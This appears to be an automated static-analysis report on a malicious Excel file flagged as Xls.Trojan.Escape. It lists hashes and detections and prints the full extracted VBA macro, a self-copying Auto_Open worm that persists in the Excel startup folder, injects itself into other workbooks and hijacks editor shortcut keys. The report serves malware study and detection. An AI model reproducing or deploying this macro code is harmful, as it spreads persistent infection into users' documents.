Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d348e7b27151b432…

MALICIOUS

Office (OLE)

158.5 KB Created: 2012-07-17 11:08:05 Authoring application: Microsoft Excel First seen: 2019-04-21
MD5: 34db6c12ad99b05df9d55229f608a848 SHA-1: 0e7b4055da62c438404237918111821de3c611d2 SHA-256: d348e7b27151b432bc04a44808820c4f8c588951f2a8e3c30ae87ed1d64f490f
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

This Excel document contains VBA macros, specifically an Auto_Open macro, which is a common technique for executing malicious code upon opening. The script attempts to copy itself to the Excel startup directory as 'StartUp.xls' to establish persistence. It also manipulates application event handlers to maintain its presence and potentially evade detection. The ClamAV detections further confirm its malicious nature.

Heuristics 3

  • ClamAV: Xls.Trojan.Escape-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Escape-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1767 bytes
SHA-256: b1dc6e799f600e1fe03c12ee5c927d9c20e72385747b65f9e697c96da1cbf849
Detection
ClamAV: Xls.Trojan.Escape-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub escape()
    On Error Resume Next
    Application.OnSheetActivate = "StartUp.xls!back"
    Application.OnKey "%{F11}"
    Application.OnKey "%{F8}"
    Application.SendKeys "%{F11}"
    Application.SendKeys "%{F8}"
    For Each book In Workbooks
        Application.DisplayAlerts = False
        If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
    Next
    For Each book In Workbooks
        If book.Name = "StartUp.xls" Then
        book.Close
    End If
    Next
End Sub

Sub back()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

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